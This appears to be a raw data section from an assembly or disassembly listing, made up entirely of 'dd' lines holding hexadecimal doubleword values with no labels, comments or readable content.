dd 9DC70EFAh, 3E581D17h, 98098A02h, 8831A734h, 8048D2B9h
dd 587CDFA0h, 6B5A2F00h, 6111B1B3h, 41798E7h, 9C79D9BDh
dd 5510CC4Eh, 79C2B431h, 8C40CB68h, 247AFB66h, 8738E7DEh
dd 801007B9h, 0ACC7B233h, 0FA5CE201h, 56D2D743h, 50FFB901h
dd 4CB77A8Ch, 8B81A800h, 53CC1103h, 0DFB4A8CAh, 73F870h
dd 7244B742h, 69E89B80h, 0DC32CA0Eh, 5F4EC485h, 3222088h
dd 963DA8C5h, 0F8985746h, 0FF14336Ch, 0AE07929h, 0B8143EEEh
dd 4EF6B906h, 365F3081h, 29FEF941h, 1B48A224h, 0BED07400h
dd 0B8BD8F78h, 65A00503h, 450D25Fh, 80A90DF0h, 62C53224h
dd 59931C0Eh, 0E7E1E434h, 0A2AC3480h, 77C11221h, 48AC207Ch
dd 20927A5Bh, 26B023E9h, 0F000B844h, 9855513Dh, 0BC360328h
dd 0B9BE69E7h, 303A9CEh, 6F8F59EDh, 515BD017h, 78611E98h
dd 3B0C8405h, 0E6D8D006h, 700E0DBh, 51E29D20h, 3E3A1E39h
dd 13780C22h, 33EA6D2h, 0CAF15F18h, 1D3F9839h, 3EFE021Fh
dd 0DB3B802Ah, 0C9EF1A4Ch, 0B17B00EBh, 2130FBD3h, 5524D2D5h
dd 0DB6500BFh, 463E420h, 67010197h, 0C29F6A30h, 0C0182411h
dd 50BACF44h, 545F68F4h, 0F68C3Bh, 38F57CFDh, 0B92F09FAh
dd 0A8D53614h, 509976B0h, 83E7F300h, 71EBD7h, 0F1AA23A2h
dd 3C920A6Ah, 0AC5C4C2Ah, 44A66600h, 99A1B761h, 108498F2h
dd 24C29Dh, 0E867BE1Ah, 28E03365h, 1C4BFBh, 0CB8BA5Bh
dd 0A1C56430h, 13A83A52h, 30402F5Fh, 368ADCFCh, 0ACDE029Bh
dd 0FF9122A0h, 0B48BC057h, 411A1FFEh, 0D1D8B038h, 3403E006h
dd 78B8DC55h, 4CC3BF31h, 0D6710083h, 8C9E7690h, 6A00C36Dh
dd 2829A4E3h, 0EA703327h, 125893BEh, 0A5B0066Ah, 0D604C8AEh
dd 3237C534h, 0DC8C80C4h, 1EFE00C8h, 0D0FD7E8Dh, 340586ADh
dd 0CD22AEEDh, 7FBA2C80h, 59060063h, 0B2E76AE5h, 744D1D26h
dd 0AD187E88h, 0DE706836h, 877270h, 0BADFE7EDh, 0DA41C86Bh
dd 17283552h, 6B138B84h, 4B9BFB00h, 0A18575h, 51AE44E8h
dd 10C61BAAh, 3626A200h, 81B99A76h, 5180A86Eh, 7909837h
dd 3D474E66h, 4335C0E1h, 0F8A271A4h, 0F6A09C46h, 33721B44h
dd 0DE704906h, 0F0DF82h, 2E0EC1B3h, 0FCB23AEAh, 963D2891h
dd 49187055h, 143E7F7Ch, 945E32A3h, 92CEE980h, 2A00E677h
dd 0D40DF0F6h, 24C6D51h, 0DBE72CCCh, 5444BAEAh, 0A1490500h
dd 0DAF1B897h, 9F96001Ch, 87E308C1h, 0B8B82BEFh, 4457CA44h
dd 0F600397Dh, 4BB510B2h, 8E9C43h, 940F9B1Bh, 0A5D8FC44h
dd 612BC02h, 0C4B25532h, 90BA1A3Ch, 0E86079FBh, 6B4812A3h
dd 4F4D0088h, 997DC125h, 583F00F5h, 51B76DABh, 5BE8B813h
dd 66BAFA00h, 0AC483EAEh, 0E5602CD9h, 4B9A1349h, 0A78004C8h
dd 0E30BB030h, 27204C98h, 24E001CBh, 0F44D15DAh, 1EB822BAh
dd 728FF3C9h, 0ECA360F9h, 31D8E87h, 0FBCF94D6h, 0D9C89931h
dd 0F13069E3h, 0F34068B3h, 0B9A6040Eh, 0C099584Bh, 3AD37797h
dd 0D543BCA8h, 0EDE9150Fh
dd 0EDE58F32h, 0EAC0F9B3h, 0FDFCE2h, 911EE7C0h, 0B71BD846h
dd 0A0F80517h, 3AFD0Fh, 31C4959Eh, 0FB10001Eh, 0A6CDFE6Ch
dd 49C0B7D1h, 0D9E63376h, 0B01C0049h, 57D6AB8h, 0C4FCF2CBh
dd 4CC15906h, 3A83997h, 51FBE9FAh, 19258834h, 20282FD1h
dd 7E7F32F7h, 0D9C50157h, 7AFF3AD8h, 4B8C2060h, 552FED01h
dd 0E5D19A8Eh, 0D8737C50h, 4894FE4Dh, 8A00FC2Bh, 0E544E783h
dd 8E1C4B0Ah, 0E4C724DDh, 3A206F9Ah, 50872820h, 495A0C7Bh
dd 103E2084h, 0A1E2B000h, 70166E8Bh, 7B0067FEh, 0B56B3713h
dd 4D32C2D9h, 0B9186CBDh, 2FD239FBh, 76DBA00h, 116886E7h
dd 0BE03357Bh, 55D585D8h, 5D80B050h, 0C1E267B6h, 58DD8401h
dd 0D308AB5Eh, 6F393088h, 3086778Bh, 92FA4C64h, 95644D4h
dd 0CD75BC00h, 3E7E6F77h, 7C417DE3h, 985002DFh, 0BB0BDE4Dh
dd 0EB9DC48h, 0CB15577h, 69774C0Ch, 6CDD01C3h, 0B3F3AE0Bh
dd 2D5D603Fh, 4D19E100h, 0C20EB1BAh, 0E0571D2Fh, 71BD290h
dd 3511D2F2h, 78A00869h, 994C5787h, 8DE3B2F0h, 0B802005Dh
dd 185BA0A7h, 0F531B907h, 8655B9FCh, 0FB0A6863h, 82AC698Ah
dd 18FB947h, 0AB815522h, 14C0980h, 3C6607E8h, 8100BC63h
dd 2164F37Dh, 0B84C93E3h, 0DD90248h, 80566B1Ch, 5F69DE9Ch
dd 1249C037h, 0AC9DBF3h, 960973Ch, 80B0C870h, 980748A0h
dd 20C14A2Ch, 3CBC51BCh, 7AD77900h, 4C18E6CCh, 16F5132Ch
dd 5FC80F24h, 35E959F8h, 727FBB00h, 368142EDh, 0BDF331A3h
dd 1558EEF8h, 4F039C8Ch, 334DF049h, 8E0EBC90h, 841E3C3Bh
dd 0E4C0C7DCh, 48BA520Bh, 37842407h, 20FD2276h, 27B07001h
dd 61DA0501h, 0BDE5EABCh, 336891h, 0D1CA9EB1h, 484B4665h
dd 241E697Bh, 49664039h, 535CB199h, 0BB34C950h, 705422h
dd 0A1AA58Fh, 0B91BADDAh, 0E6475C96h, 4000C024h, 0D9BC8618h
dd 0DAFC44FAh, 78772F0Ch, 37358132h, 0A7517441h, 427C90E7h
dd 0AF04939Fh, 0C8683A48h, 6DA234D0h, 85FB3D84h, 12610179h
dd 0B347757Ah, 0B29D306Ah, 0EB022FE8h, 319A3E42h, 15D8E5h
dd 0F3D90903h, 0D487812Bh, 0FD643701h, 0E483B311h, 84B92C60h
dd 36147700h, 922CAF7h, 68D300FEh, 0A9731DF6h, 0DC0031A4h
dd 98E67DBAh, 0A4D633D9h, 0E7F24B4h, 4C761D77h, 0EED1205Ah
dd 6F039D7Bh, 5DF36A19h, 5CEB8CDh, 55F93E7Ah, 46B38300h
dd 4EEA189Ch, 80B9DE24h, 0BC954F41h, 0D400EA47h, 0A34E632h
dd 3D5EC72Ah, 0EEFA879Ch, 99540F7h, 7F028732h, 0EDEAE7BBh
dd 0FC1048E2h, 44008651h, 93C0AF34h, 0B89F6CE9h, 0A0BFF63Ah
dd 21ED308h, 56B24BC7h, 1C83BB53h, 7D8B6EC1h, 36DC92FDh
dd 0E2738100h, 0BA64933Fh, 42CF784Ch, 20C30DA2h, 0B3223850h
dd 675EB0C4h, 809FE957h, 0A15638A3h, 56C8200h, 1D767889h
dd 676301F5h, 0B8349E2Ah, 0E168FCE7h, 0DF440500h, 0A25A5D51h
dd 60D2EA47h, 6AE359CEh, 2B071EECh, 10CBFD2Eh, 5D99B660h
dd 7F770933h, 8C48BADDh, 63002C4Dh, 0D34CCE16h, 12B8FC6Ah
dd 0D05FE38Dh, 1D4A51F8h, 41008073h, 0AF24F412h, 174DE61Fh
dd 20DEE4D3h, 84C29E6Ch, 931D004h, 0D0F4D578h, 99AB60D3h
dd 3C2E1E72h, 1F434F00h, 2DD07E19h, 29D00EAh, 70DD7779h
dd 0BA294481h, 863EA0FCh, 7081222h, 4AE811h, 0A586330Ah
dd 62C5773Ch, 42BCF4A8h, 9C9B9600h, 0E772C2A4h, 709402B6h
dd 7B78996Fh, 430B10C4h, 8001D974h, 0D6E611E7h, 718EFF5Ah
dd 6E80BED4h, 0F90F97E9h, 9E62107h, 4490EDBAh, 482FE16Ah
dd 1E0018B1h, 772559F6h, 6E389E53h, 0FAA682E3h, 0E1C4D44Ah
dd 0DC33B89Ch, 19C51100h, 967D42E3h, 0CCDF9E0Bh, 8E1803BCh
dd 298ED2h, 5D6567EAh, 0C7AF5F58h, 0D9260100h, 1E57DB95h
dd 0DF7F2489h, 0F4080968h, 20F3342Fh, 35DDE6C0h, 9C20C14Bh
dd 1136D40h, 8EB14DEh, 0DC793A2Eh, 0BF71E41Ah, 0D443A903h
dd 0E8E3963Fh, 58DBE58Ch, 0FB80F04Bh, 0BCD59BD1h, 0EB6F5204h
dd 1CC0316Eh, 5CD037EEh, 600134FEh, 0BAE89773h, 26843259h
dd 1C1280D9h, 68D1A491h, 895C7C60h, 69C6FC5Dh, 0FF2EE17Eh
dd 3113BECAh, 12A01C54h, 0EC227E77h, 483C52D3h, 48005726h
dd 0FD1C9ED0h, 824AEF69h, 0B76BF401h, 40284746h, 3922A848h
dd 115AD711h, 5CBE8A0Fh, 0EDE2D1E0h, 0E800F5CEh, 9EF16E38h
dd 349DAAB1h, 0C75029FEh, 8444E8FCh, 765FCA40h, 0D300C518h
dd 89A57EA8h, 130749E5h, 449DF315h, 32520834h, 0FCE4D3h
dd 0BCFF0E5Bh, 0F185C112h, 81DF6D12h, 85420409h, 9827B693h
dd 0D25CA4DBh, 4C2E10B4h, 0C40DCB1h, 0FD49057Fh, 0CCE314D1h
dd 0A400D8C8h, 0C89798CAh, 0DC0F83h, 3704E620h, 771BDDF0h
dd 903AD22Eh, 20C19F64h, 0B472DB6Ah, 8780079h, 0CF97406Fh
dd 4400F3E7h, 0C0E00EB3h, 48556E81h, 4C89E4B9h, 0C59C9810h
dd 0EE2C1800h, 4161D8EAh, 9E970405h, 88468728h, 0F85ABA80h
dd 2738E422h, 9FC5025h, 0CC048214h, 3365C8C4h, 0C60018E2h
dd 9E492C8Ch, 0C3092703h, 0C5F5BA34h, 0FECA0FD0h, 84765BC0h
dd 3E0F808Dh, 227F3FA3h, 21FBAF42h, 0BEC17B87h, 9A860491h
dd 78E45AE2h, 7E9897h, 771FA08h, 3BFB9223h, 38E11701h
dd 60959AF7h, 5D0EB439h, 0F140796Ah, 27BECD26h, 76C8E300h
dd 0ACFF313Dh, 47371475h, 0CA238402h, 61188027h, 29E528h
dd 0E631B14Ah, 6851D542h, 3200DA70h, 72B286BDh, 0A4BE0208h
dd 0F4F65CA0h, 2FC086C8h, 28A9367Bh, 5E702608h, 0E50C20BFh
dd 302695Fh, 0FF89ED7Fh, 58C0D593h, 0B400F944h, 68F3BB6h
dd 2C77C2F4h, 6BC09F1h, 4170EEBAh, 5EB60202h, 43228D4Ah
dd 0B06E54B0h, 71B860D3h, 96CD6044h, 8ADDED00h, 0B52AB36Ah
dd 63A80F0Ah, 0BD2543EBh, 508885Fh, 4D84A307h, 13614603h
dd 90DC3FAAh, 0C8C60008h, 0C7298CE6h, 2DF1757Bh, 0FAF41820h
dd 79EE91h, 0DBE79ABEh, 85DDAC35h, 0E8AE8B00h, 0CB0D3DDAh
dd 10D13B36h, 0A0413485h, 0FB884808h, 856E5980h, 147C9435h
dd 9C0B6536h, 0A1DD121h, 0C27020h, 136F587h, 3E049FABh
dd 0EAF9F100h, 0AE0C57C5h, 0FF8013A3h, 7D1488E9h, 44508400h
dd 0B52FE099h, 3E877636h, 581C121h, 2AF76A6Bh, 1BC78E8h
dd 46075042h, 6430C93Ah, 0A6580081h, 51E0FA39h, 0D807C6BDh
dd 71924B7Dh, 0CFD3583h, 0AC80BA11h, 2E0C3229h, 0C1CD5033h
dd 0E5BB1352h, 842C1CE2h, 0C58AB42Ch, 35809824h, 31C93630h
dd 248D817Dh, 0C38733Eh, 0B1191E5Bh, 17BC7B00h, 5D52A4FFh
dd 280B0042h, 0DE0E8983h, 0A72EC015h, 6B404481h, 0B4DBC7A3h
dd 956A4058h, 4600C493h, 1150EBCBh, 21E2752Dh, 833F5E32h
dd 0C130C552h, 9D4AE0D7h, 0F9E70E94h, 8960B0A1h, 5541A4E6h
dd 0B0BDBA2Ah, 0DA179B80h, 69AA0335h, 8D79EC00h, 0A10D526h
dd 0D186E1C3h, 0C9380408h, 8804848Fh, 970D32B0h, 3CA2E2E1h
dd 1900D022h, 41AC424Eh, 680FF8D6h, 0CCE613ECh, 2EF521B9h
dd 24D326h, 76091A82h, 985C23B3h, 0CF02E80h, 8443059Fh
dd 0FB436B25h, 0A989888Fh, 0EE9C0066h, 3A9AFEC2h, 7339CAFDh
dd 97B08903h, 0C130C8D1h, 11D01F35h, 0DD3807F1h, 7330C09Ah
dd 0AA075329h, 0C779DCB8h, 2E6AB5A0h, 0C98202D1h, 92383490h
dd 50E1E464h, 0F9204E88h, 0C4E97101h, 0CC0DC326h, 797E5E4h
dd 0E3BA3AEDh, 0FD90A0D6h, 0C259711Bh, 55CA0F34h, 5430F3B2h
dd 10ABDEEh, 0E2808171h
dd 0FE957B29h, 4334C840h, 2009DA24h, 0B32EE80h, 7AAAD6h
dd 939B6E5Dh, 0FA846FB0h, 0D4081100h, 0A724D7C8h, 6E0A0046h
dd 691C37A0h, 0A60E2173h, 323482A8h, 80014830h, 9EED13B8h
dd 22F45D3Eh, 0C7090A00h, 5BB4E820h, 4A602A2h, 2D34C422h
dd 7D100479h, 0ED80D780h, 0CC159246h, 6900710h, 0E067526Bh
dd 962C0030h, 41278D9Bh, 0B4033F77h, 3A34E3B9h, 3251250Ah
dd 0C3558410h, 0C076CD00h, 802D62B5h, 4230035Dh, 7CAAE0CCh
dd 6B31D4B0h, 0A527F000h, 0E5094792h, 5A9D278Fh, 0E6564821h
dd 0BF5F036h, 20E7D70Fh, 7F84E9Ch, 1ED1285Ch, 0B860BF9Ah
dd 883B755Fh, 46060B3h, 4FE7AC58h, 11557431h, 64F7B89Eh
dd 0C8C859D8h, 0A7094C0Dh, 0A3570A00h, 176DE079h, 691ECD0Bh
dd 12AC66F0h, 208696C6h, 2D02CB0h, 0E2CB87Ch, 69005C89h
dd 0E24B5943h, 38331537h, 6A00A4ACh, 0A59F0487h, 0D8A06564h
dd 448A3C12h, 192C01F4h, 0C2E77E7Bh, 7C1FD833h, 60DDAB00h
dd 0F451B335h, 0EE423E18h, 94C20283h, 8900C31Eh, 0FBA83DFFh
dd 17F4183h, 89C7073Ch, 20D9C15Eh, 3094265Ch, 0DDE3BC40h
dd 0D4143BFBh, 0ED5E41E0h, 0DA1F1EA7h, 19C0EEC5h, 20849D27h
dd 0E66A0066h, 8B6EB068h, 0EA000BD3h, 7F3204F3h, 27972F15h
dd 0C0B10209h, 2D5C08EDh, 34188711h, 5789720Eh, 0C9E07D13h
dd 0E4019EF2h, 550E3C4Bh, 2AD8F903h, 0CFD120Dh, 8A8CA4D3h
dd 0B1378507h, 0B7F02EC5h, 0E09BC910h, 848D1D82h, 0CAA081F4h
dd 2CD18CD2h, 8C215FF8h, 682A214Fh, 9801E928h, 845142BDh
dd 1820D0E7h, 90671EBh, 684494ADh, 0E8395C64h, 19ACB042h
dd 3C33DDE6h, 0E001744Fh, 0B9DACCFBh, 488C62F3h, 48B822C8h
dd 0F4846C4Ch, 0EEF683C8h, 0C2FE57E8h, 37110C00h, 0C12C9F89h
dd 73860032h, 5B875A3Bh, 0E70057E4h, 2FCB757Ah, 380115h
dd 0BB8BFB93h, 5D2B894Ch, 3324C6E4h, 3B1CC8E0h, 0A8BA948Ah
dd 0C0FB0700h, 1FA21451h, 0DF2AFFh, 0F6613573h, 3624D290h
dd 3D60B8E4h, 71A4FEFh, 71A04752h, 7D7A51A5h, 80942C82h
dd 0E5E76B5Ch, 923000CFh, 25B4B586h, 501EBD5h, 0B28B8A9Fh
dd 0C5F54E9Ah, 7051F980h, 4F63BBFDh, 8C0B1ECh, 15A492F8h
dd 0F60400B0h, 643C8BC3h, 5A002E40h, 0E3868D6h, 60518D36h
dd 0A67431B7h, 40C44E1h, 5035CB07h, 19B0F84Eh, 10F62DE4h
dd 80AFD9F4h, 23CC5B31h, 3936D5EBh, 780D9A1h, 7E04FF88h
dd 0F8308DF2h, 0CE502967h, 38BC6006h, 782E60A7h, 0B656CD06h
dd 1F58F8F0h, 806BA24Bh, 511A949Fh, 8A07F12Dh, 6EC88379h
dd 50B61370h, 1F899869h, 804C6AD8h, 0C3E566EFh, 88007556h
dd 6DB51719h, 2A2E8F8h, 44603955h, 8CA16936h, 0D048D804h
dd 0DA01A08Ah, 19C4648Eh, 28C44ABDh, 37CE01CBh, 4ED9AFC9h
dd 0BBB88050h, 0E8866739h, 51FF3875h, 0CD85BC86h, 0C609893h
dd 0CCC5F9D1h, 3BAC0F01h, 185DEB29h, 7250416Ah, 5D00E1DEh
dd 82987C35h, 0F4690AA9h, 80A4B6DEh, 0C068CD52h, 0C8AC359Eh
dd 93DB3C00h, 0BCF9E580h, 0CD8B14F3h, 5D1E34F1h, 3C991566h
dd 86513110h, 0F8A10ACEh, 19656134h, 8EF13643h, 20C8F691h
dd 0FD813CC7h, 5AA6003Bh, 85A7FFCEh, 0EA05BAD8h, 0E64AF36h
dd 0CCDB000h, 4D7EE98h, 0BC77A0B3h, 0F0E6C0B2h, 0B7003593h
dd 840272F3h, 0FCF6ACDh, 36C04F91h, 0FCC47E81h, 695AF08Eh
dd 0C58FD52Eh, 0F4A51400h, 3E28D313h, 0AFA4A15Eh, 0EA23605Ch
dd 0B41E1E1Bh, 0EFC3D00Ah, 0F9B25354h, 0A850FEAFh, 0EFD26h
dd 0E1850733h, 5C1C4174h, 8B07A5FEh, 0D9F66835h, 0D8E9C420h
dd 0CE2E0066h, 0A6AD2F5Ah, 0F37FB79h, 0F0C25243h, 9942C08Dh
dd 4E4F290Ah, 0D63F0094h, 0A8A7BD39h, 0EBB13518h, 9B5679h
dd 0D8A49C97h, 0D1951601h, 92476800h, 0A826C40h, 771F0h
dd 0B5CC79B9h, 4EA85EFCh, 0B6CE3F00h, 6D31120Bh, 0F52C0081h
dd 0ACA9D6C5h, 0D2A509Eh, 0D818CC5Eh, 7C894C4Eh, 0B2DA020Ah
dd 28A08648h, 891FC543h, 75076EC9h, 477370F6h, 682FD1AEh
dd 569239B8h, 3600225Ah, 0BEC60C80h, 0E724D571h, 77416084h
dd 0B0DF684Dh, 0C055A097h, 22B7C008h, 4F735F71h, 0AF07B205h
dd 0D040BA50h, 2C386C3Ah, 0A22800C9h, 0D849A367h, 0A8EE6611h
dd 0A4FD6329h, 0F7735006h, 86D906D9h, 11EF560Fh, 5400707Ch
dd 0F99916E1h, 3316FDDh, 7DF6E4F8h, 0E912F5AFh, 0EBF0AA3h
dd 6A40B99Eh, 64FE8CF4h, 79C360C4h, 3EDA4480h, 977017h
dd 7DB1C5B0h, 0B6D25C57h, 3BE4C167h, 0F83E481Ah, 32B4988Ah
dd 1C53018Ch, 505258FBh, 0F8BEABh, 7F8EEA82h, 78E355h
dd 0E5F043DBh, 75652BD6h, 4902A60Eh, 0B0299C47h, 0CE3E4E00h
dd 0D2D5E8B0h, 3A9609C1h, 82EC010h, 0AEE53Ch, 0D2B10AA1h
dd 0BFF21Fh, 0A4A6AFC0h, 508C3CCEh, 0F9009CFEh, 0FB69E56h
dd 0F49A898Ah, 0F7C80136h, 5C3A2DECh, 5418E029h, 34B1E3Eh
dd 515EAF76h, 4F790157h, 3AB431F4h, 0E7B020A5h, 521DF309h
dd 51889075h, 1280A8B5h, 50640046h, 4EAD206Dh, 89373FD0h
dd 3672CA98h, 0D9EC806Bh, 61C2B42Eh, 86F45061h, 4E4193B2h
dd 0B4E73C20h, 0E47A009Dh, 5CF36C9Ah, 0FB00AA95h, 3428CB16h
dd 1E3B8B39h, 55CECA2Eh, 3612E483h, 0CB0212Ah, 0AE442033h
dd 43D57800h, 71C28684h, 34D90207h, 2E368B51h, 40C6D761h
dd 0EB2B3C20h, 7038BB0h, 0D1AFF4A3h, 365124F2h, 194140ACh
dd 6F176698h, 0B80112B7h, 4A0447A8h, 0BC02EC23h, 673E1470h
dd 0B65CD081h, 5B499DF1h, 90C0A640h, 0E0ACBC4Fh, 7C9D074Ch
dd 0C7556EEDh, 7BA6118h, 51D88A70h, 4140C479h, 0A4C8CC33h
dd 0AFE5229Ch, 0EFE9B01Ah, 0E63C6029h, 71AFCC4h, 0D854D285h
dd 645843BCh, 0B58C3911h, 5CFEBF02h, 5448AC51h, 0FC1D2B85h
dd 4C1D906Ah, 0C8DBF340h, 0C33713h, 69956FA9h, 0E4D491Eh
dd 3AD508C4h, 3B08888h, 802A7F39h, 4EC0B343h, 99012003h
dd 0DD48A22Dh, 5770EABCh, 872C9175h, 64E9C3BDh, 0BF7C8837h
dd 0C7A4484Ch, 6C4AE4B1h, 0B9B4510Ch, 0C69D0774h, 80F395A9h
dd 0F280EA09h, 47EEB314h, 5FA0118Ch, 18E6BA11h, 0AF79FC36h
dd 78510012h, 0D5EE80B3h, 2300A957h, 59C214B2h, 7236D631h
dd 34A80A9Eh, 0E8779Dh, 5C0D29E5h, 0F2002749h, 0C7817CE2h
dd 14AE5D24h, 0C0CBB0D8h, 34E788Fh, 74D4B4C0h, 622A922Eh
dd 1200703Bh, 1F08B194h, 0E77F3F6h, 91970E25h, 0CEC579C0h
dd 8574EAD8h, 3F21CC00h, 0F5761441h, 2A7C003Ch, 9E1767F7h
dd 0F41243BFh, 5C428278h, 4057D79Dh, 903D8046h, 8B590170h
dd 0CEC62DA7h, 483608B7h, 93C49026h, 38931D96h, 0C0742C23h
dd 9D4764D9h, 4C482B78h, 50B70460h, 74D0CC6Bh, 52D5AF40h
dd 9480ACFCh, 579C53DEh, 6600A2E6h, 10B02E0Eh, 1D6CCC6h
dd 8199D50Dh, 613A7F03h, 51D0204Eh, 59E06B30h, 12B38341h
dd 52A89506h, 0B0782054h, 71DD44E7h, 91144071h, 0F28BC008h
dd 0C2B49033h, 0B2142672h, 530A002Fh, 0CD838C1h, 0EA5F8C00h
dd 0D9A22034h, 0CD74006Ch, 0B68A979Ch, 9D78616Bh, 2E1C471Fh
dd 22CBD49Ch, 2C7C88A9h, 0F58C7682h, 0C9EC4B5Fh, 4F00EF37h
dd 1E00EE61h, 0A61DCC2Dh, 7FD028h, 0CF982766h, 569EAED9h
dd 9015B616h, 0DC138016h, 0CEB01020h, 44A8A4FBh, 4038B69h
dd 76D4A96Ah, 0D30DA848h, 0E0853D66h, 813F569Eh, 279AC431h
dd 0E298409Eh, 4E8063B0h
dd 9B1C052h, 0CF8434B7h, 22ADE50Fh, 0EBF385B3h, 1F08C8Ch
dd 0C78034AEh, 48CFB0D7h, 7708FAB4h, 14F0D009h, 1E22C864h
dd 0CE50BE1Fh, 0D3D8A933h, 0F971014Bh, 195FC05Eh, 0B2FC70A9h
dd 9D442703h, 0D1E069FCh, 0F8208D35h, 434E409Ch, 49C062ECh
dd 38C759CBh, 84E30097h, 80F2AC75h, 13283037h, 5358A040h
dd 25B68010h, 27DE0Bh, 7B47AA9h, 62229839h, 0B0C4C506h
dd 2C94DD5h, 0CB84D9A4h, 98507E5Ch, 60128D10h, 51344E18h
dd 0A600BE0Ch, 1B4C56F0h, 1C16DABh, 32D585CDh, 0F5BFFC7Ch
dd 31C0E926h, 583298h, 0EEED503Ch, 280A227h, 533342CFh
dd 34E0DF2Dh, 91183D5Ch, 7080B1C3h, 2C488488h, 0E1BA846Ch
dd 406D70CCh, 0A500A05Fh, 8358BE44h, 92F1CDh, 69A2129h
dd 0E80DF26h, 18A47A58h, 0D6C1354Eh, 5C8100A0h, 1C882B38h
dd 2F3D4398h, 0D35100D7h, 0E29CD9ECh, 12E47D3Ch, 269A20Ah
dd 47F23798h, 7488B605h, 0AA2D00E2h, 0B13F6D9Fh, 2000C330h
dd 5C214F46h, 28B0E43Bh, 6120A168h, 56508154h, 0B0822F0h
dd 98705152h, 24CC3AD8h, 0C54D48Fh, 59196536h, 99E50500h
dd 409DA2B7h, 4EA50FB3h, 43C00741h, 0C2BFF345h, 18DC00Bh
dd 0E774A258h, 79FF10FDh, 6421A507h, 386A505Bh, 88E45687h
dd 8D66D400h, 0D2B03FF9h, 70F4E161h, 5BB4509Dh, 0F6EC52CEh
dd 514AF3F4h, 5144C47h, 6C4565B0h, 820B0217h, 570CD2CBh
dd 0D9436441h, 0C2020266h, 0EA50EA39h, 93086384h, 0C9F903FFh
dd 36645EEFh, 7B3140F4h, 9FB24Ah, 0BF6B7967h, 0C77E0706h
dd 56B89904h, 3480CB08h, 4C14D41h, 0BCE209AFh, 2CC883AEh
dd 522A31B4h, 0A49C4E03h, 0B200400Ch, 576284BDh, 9078CADh
dd 8598DE8Dh, 53B81441h, 0C045E684h, 0FE004284h, 0A0692120h
dd 4AC70173h, 0B26B6778h, 848EC7Bh, 98007272h, 186C016Eh
dd 60AF7DF7h, 7C0F398Ch, 680045E9h, 0EED2D9BEh, 1801F39h
dd 9C0BADC0h, 0C648EC81h, 495168C0h, 4AE41E00h, 5F530CFh
dd 89925C39h, 7FF98300h, 617BC502h, 6A11F098h, 3B11BAA7h
dd 0FFB6185Ch, 373079h, 854829C7h, 9B54997h, 8F7F1400h
dd 783F4354h, 5B3D248Ch, 334F0C20h, 5A00CC41h, 0F9E45EECh
dd 81EA80h, 0AC7D52D2h, 0CF4507AFh, 15A6C3Dh, 67D99B06h
dd 4820427Ch, 0C81612C0h, 3CF135Fh, 8D815ED8h, 88ADA2B9h
dd 427421B8h, 3122B7C8h, 3643213Ah, 15C007EFh, 7D019093h
dd 0E27EC5h, 0ED48A538h, 0C184EB79h, 22ECD25Ch, 71F417F1h
dd 0CFF821B8h, 20E0164Dh, 5C5C4E5Dh, 9AD60100h, 4FFFED30h
dd 2C2DAEE9h, 0D0CE3C85h, 0ACE11B20h, 7700E0A4h, 946B7F02h
dd 0AAD138h, 802CFA4Fh, 0AD3182BFh, 5180189Ch, 0C0F92AEAh
dd 12604A45h, 0C97002E8h, 71249EDCh, 8C42B089h, 0DFDE200Dh
dd 0B8000C82h, 6FAE359Eh, 0B2F12C01h, 0AA0D2AE4h, 442898F4h
dd 0FF1FE469h, 0E9834A1Ah, 0DEAF601Eh, 596F0089h, 0D97E67BAh
dd 4400304Ah, 31FF07E8h, 3DE3099Bh, 2F09701Eh, 0DCA001BEh
dd 0A61195F3h, 2237D80Bh, 1550014Fh, 99173E2Ch, 0DE49EC19h
dd 0A4FA0D23h, 20104E49h, 5900A8EBh, 9901F154h, 0AEA5DAh
dd 0ED0BCE36h, 4347F56Fh, 1470E0C4h, 59449482h, 0FC803D20h
dd 0AA96658Ah, 0EE032DC8h, 40784974h, 4887AA9Dh, 79915C34h
dd 4A8DEEDFh, 57F438AEh, 0D0313C9Bh, 470EEB3h, 4C14A4E7h
dd 0A9A15C56h, 442054Eh, 807851C5h, 0EE89FF24h, 56FB0E12h
dd 0B9D97250h, 402251h, 6C90C2C4h, 377FE1Fh, 0A0EE958Ch
dd 0C037BF0Ah, 0E04631F9h, 0B97822C0h, 6F4F489Ch, 206D81C4h
dd 0FDF08255h, 50475469h, 9C518A8Eh, 0B80F21Eh, 0D39648F0h
dd 0BD6202EBh, 0F904CC34h, 77246C58h, 0B6433CACh, 213902EAh
dd 3DF368E5h, 0A0591662h, 5FA7BC00h, 738BAF9Dh, 873496DFh
dd 0E08CF0D3h, 0FF3769F2h, 58EC94B8h, 6C44FA02h, 41F7B1B9h
dd 6F0CF978h, 0FDB63084h, 8C9F5149h, 44CA120Fh, 0A80CE09Ch
dd 19640B4h, 43BEFD47h, 2434042Bh, 0E5445484h, 42B8B457h
dd 0C6206830h, 5478AFh, 0C03BADA4h, 8A6F8B67h, 0CCCE0812h
dd 7C82F095h, 0B2AF238Ch, 893180C5h, 509A9C6Bh, 87BBD21h
dd 6988BB81h, 7111BA50h, 3C527EF1h, 70CC0B98h, 792C62D0h
dd 59BF8204h, 0B044C0FEh, 2022C683h, 0B650756Ah, 82BE445Ch
dd 319F344h, 99B62988h, 0FB5500BBh, 0F22FEDC0h, 168F0073h
dd 86DE41EAh, 0B42822E5h, 0E02DFCF8h, 98F80965h, 0B65ADCh
dd 4BC04754h, 0D47FC94Ah, 56611304h, 0AC8D81A2h, 80E53430h
dd 44847A69h, 330B4099h, 80854CCCh, 6BF4E7D8h, 9400B17Dh
dd 8848AF50h, 9198A280h, 0E22461DCh, 0F7106468h, 42E13CCDh
dd 0ECAC6FB4h, 8C71C7C0h, 8143E096h, 5CD09530h, 7C3A99B9h
dd 2D59818Dh, 1057C00Ch, 92A297h, 660FB813h, 390A0904h
dd 0DCB98A1Dh, 68259028h, 70A48191h, 0C81763B7h, 53AE641h
dd 0F1D5ECh, 3953E7E2h, 79B520B6h, 1364F000h, 6D0EBA3Ah
dd 1737000Ch, 746B3167h, 627242CDh, 36355300h, 8A19900Fh
dd 5BF60002h, 0B5C8C060h, 48B03046h, 6B50BC0Ch, 9D8B94Dh
dd 2D038659h, 7F07BC44h, 2FAEA072h, 0EF6A7660h, 0E60B004Dh
dd 0A1DD4C6Fh, 8D0B082Eh, 0AE863C3Ah, 0E7249160h, 0F248089Ch
dd 800B7888h, 0AE0E34D8h, 0C24802A8h, 0F6BF004Ch, 0E5C3A0CCh
dd 0B2E91588h, 0E708B039h, 0F691F941h, 0EDC48800h, 0CE39AD8Ch
dd 0C97D0700h, 0F79D4DC8h, 81340153h, 6188E602h, 0C52452B8h
dd 0F28BF422h, 44089040h, 9A00A0D7h, 0DE228C7Dh, 52F43156h
